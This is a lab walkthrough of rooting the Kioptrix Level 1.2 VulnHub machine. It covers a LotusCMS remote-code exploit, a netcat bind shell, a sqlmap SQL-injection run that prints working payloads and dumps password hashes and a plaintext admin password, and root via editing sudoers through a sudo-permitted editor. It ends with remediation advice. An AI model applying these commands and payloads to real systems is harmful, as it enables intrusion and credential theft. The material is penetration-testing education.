Today I wanted to keep working through the Kioptrix Level 1.2. I pulled the machine from vulnhub and set it up on my ESXi lab network.

Basic Recon

First up, we need to find the the location of the server on the network. Once again, on the 10.10.10.0/24 subnet. My attacker machine is on .100 so .103 is the target.

Basic Enumeration

I started with a port/version/OS detection.

OK. Only two ports open. Next up, a script scan. I didn’t expect much more from these ports, but it doesn’t hurt to check.

Yeah. Nothing very interesting.

Port 80

I decided to start with port 80 since SSH doesn’t usually have a lot of vulnerabilities.

Alright, looks like we have a CMS to play with, should have some vulnerabilities. I moved on to the Blog link.

A few things popped out to here here. First, the URL seems to want to be hosted at http://kioptrix3.com. Secondly, loneferret if referenced in the New Lead Programmer post which may be a valid user name. So I made a note of that.

To configure the DNS record, I added it to my /etc/hosts file.

sudo nano /etc/hosts

Now, the gallery URL should work. And it did.

Playing around with these links I didn’t find anything terribly exciting. Finally, there’s a Login link off the main page.

Initial Foothold

I found a name for the CMS here, LotusCMS. Let’s see if there are any known exploits.

There are some options here. I started with reading the last LotusCMS 3.0.3 – Multiple Vulnerabilities text file. There’s some proof of concept code. I didn’t think this would work in our case, but I wanted to generate an error to see if I can get some detailed error messages.

Opening the file in a web browser ran the exploit. It did generate an error, just not as verbose as I had hoped.

No verbose error messages, but here’s confirmation that it’s a Fraise 3.0 series. So, the first or last two exploits might be helpful. Metasploit seems to have an RCE available.

These are the options I had set in the msfconsole: RHOSTS, URI and I changed payload from a php meterpreter to a shell bind payload. I didn’t need any of the fancy meterpreter features. Just a shell.

I started the exploit command and got back a shell!

Now, for some reason, I couldn’t seem to do much from this shell. I wasn’t able to change directories, read files, etc. However, I did see that netcat (nc) was installed. Hopefully it’s a version with the -e option compiled. I set up a bind port that I would be able to connect to from my attacker machine.

which nc
/bin/nc
which bash
/bin/bash

/bin/nc -vlp 5555 -e /bin/bash

Now I connected back with netcat on my Kali machine.

nc 10.10.10.103 5555

Some initial tests showed that this is much more helpful. I can move around, read and write files.

Exploring the file system, I found a few things.

mysql credentials
checksec.sh

Inside loneferret’s home directory was a file called CompanyPolicy.README

Hello new employee,
It is company policy here to use our newly installed software for editing, creating and viewing files.
Please use the command 'sudo ht'.
Failure to do so will result in you immediate termination.

DG
CEO

Through this shell I wasn’t able to open the ht file. So I pulled the /etc/passwd file and confirmed/found some user names.

root
dreg
loneferret

I didn’t see much else to do, so I quit this shell. I remember finding the mysql account, so I thought perhaps the website could be vulnerable to a sql inection attack.

SQL Injection

Back to the web gallery.

This URL looked like it could be vulnerable to a sql injection attack. To test, I entered 1' in the id field.

Bingo! I got a SQL error back. sqlmap time.

sqlmap -u "http://10.10.10.103/gallery/gallery.php?id=1"         
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.5.4#stable}
|_ -| . [']     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 01:13:51 /2021-05-01/

[01:13:51] [INFO] testing connection to the target URL
[01:13:52] [WARNING] the web server responded with an HTTP error code (500) which could interfere with the results of the tests
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=00296a5cd9a...99e9475f26'). Do you want to use those [Y/n] y
[01:13:56] [INFO] checking if the target is protected by some kind of WAF/IPS
[01:13:56] [INFO] testing if the target URL content is stable
[01:13:56] [INFO] target URL content is stable
[01:13:57] [INFO] testing if GET parameter 'id' is dynamic
[01:13:57] [INFO] GET parameter 'id' appears to be dynamic
[01:13:57] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[01:13:57] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[01:13:57] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] y
[01:14:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[01:14:07] [WARNING] reflective value(s) found and filtering out
[01:14:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[01:14:08] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --code=500)
[01:14:08] [INFO] testing 'Generic inline queries'
[01:14:08] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[01:14:08] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[01:14:09] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[01:14:09] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[01:14:09] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[01:14:09] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[01:14:09] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[01:14:09] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[01:14:09] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:14:09] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:14:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[01:14:09] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[01:14:09] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[01:14:09] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)'
[01:14:09] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[01:14:09] [INFO] testing 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)'
[01:14:09] [INFO] GET parameter 'id' is 'MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)' injectable 
[01:14:09] [INFO] testing 'MySQL inline queries'
[01:14:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'
[01:14:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries'
[01:14:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'
[01:14:09] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'
[01:14:10] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'
[01:14:10] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[01:14:10] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[01:14:20] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[01:14:20] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[01:14:20] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[01:14:20] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[01:14:20] [INFO] target URL appears to have 6 columns in query
[01:14:20] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 49 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (9711=9711) THEN 1 ELSE (SELECT 4686 UNION SELECT 4072) END))

    Type: error-based
    Title: MySQL >= 4.1 OR error-based - WHERE or HAVING clause (FLOOR)
    Payload: id=1 OR ROW(9531,3698)>(SELECT COUNT(*),CONCAT(0x716b7a6271,(SELECT (ELT(9531=9531,1))),0x7170627071,FLOOR(RAND(0)*2))x FROM (SELECT 8030 UNION SELECT 4604 UNION SELECT 6040 UNION SELECT 7170)a GROUP BY x)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 8287 FROM (SELECT(SLEEP(5)))ZBzS)

    Type: UNION query
    Title: Generic UNION query (NULL) - 6 columns
    Payload: id=1 UNION ALL SELECT NULL,CONCAT(0x716b7a6271,0x534961684d747a4f454a41596a4f4d6f745259574a424748747a4944426142595368786c73577557,0x7170627071),NULL,NULL,NULL,NULL-- -
---
[01:14:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 8.04 (Hardy Heron)
web application technology: PHP, Apache 2.2.8, PHP 5.2.4
back-end DBMS: MySQL >= 4.1
[01:14:26] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 21 times
[01:14:26] [INFO] fetched data logged to text files under '/home/redtalon/.local/share/sqlmap/output/10.10.10.103'

[*] ending @ 01:14:26 /2021-05-01/

So there’s an injection vulnerability. I wanted to get some database and table names.

sqlmap -u "http://10.10.10.103/gallery/gallery.php?id=1" --dbms=MySQL --current-db
sqlmap -u "http://10.10.10.103/gallery/gallery.php?id=1" --dbms=MySQL -D gallery --tables

+----------------------+
| dev_accounts         |
| gallarific_comments  |
| gallarific_galleries |
| gallarific_photos    |
| gallarific_settings  |
| gallarific_stats     |
| gallarific_users     |
+----------------------+

I dumped out the database and found a few account credentials.

sqlmap -u "http://10.10.10.103/gallery/gallery.php?id=1" --dbms=MySQL -D gallery --dump

dev_accounts
id,password,username
1,0d3eccfb887aabd50f243b3f155c0f85,dreg
2,5badcaf789d3d1d09794d8f021f40f0e,loneferret

gallarific_users
userid,email,photo,website,joincode,lastname,password,username,usertype,firstname,datejoined,issuperuser
1,<blank>,<blank>,<blank>,<blank>,User,n0t7t1k4,admin,superuser,Super,1302628616,1

The password hashes for the dev_accounts seem to MD5, so I cheated a bit and looked online to see if anyone had cracked these before.

dreg:Mast3r
loneferret:starwars

I tried these on the web interface, but they didn’t work. So next I thought, I’ll try SSH.

SUID Binary Abuse

Both sets of credentials worked. From exploring when I was logged in as www-data, I know loneferret has more interesting files so I started there.

When I tried to run sudo ht I got an error. Error opening terminal: xterm-256color. Setting the TERM environment variable to xterm seemed to fix that.

I ran sudo ht again and it opened properly.

Since loneferret can run this as sudo, I should be able to read /etc/shadow. I have dreg and loneferrets passwords, but we don’t have roots yet. This is the hash I extracted from the shadow file.

root:$1$QAKvVJey$6rRkAMGKq1u62yfDaenUr1:15082:0:99999:7:::

Since loneferret is already set up in the /etc/sudoers file, I should be able to simply add /bin/bash to allow him to run a shell as root without a password.

Run sudo ht /etc/sudoers. Press F6 to change to text mode and F3 to open a file again. Select /etc/sudoers. Turns out opening it from the command line didn’t allow me to write to it.

I changed the loneferret line to include /bin/bash.

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht

loneferret ALL=NOPASSWD: !/usr/bin/su, /usr/local/bin/ht, /bin/bash

I saved the file and ran sudo /bin/bash. I printed out the ip information, user we’re running as and the Congrats.txt file.

Remediations

The initial foothold exploit of LotusCMS 3.0 could be fixed by upgrading the software. Looks like it was last updated in 2011…so probably best to switch to some supported CMS software.

The SQL injection would be fixed by sanitizing the user input. Ideally build parameterized queries. Similarly, it seems that this software is no longer supported so switching to a support gallery platform would be ideal.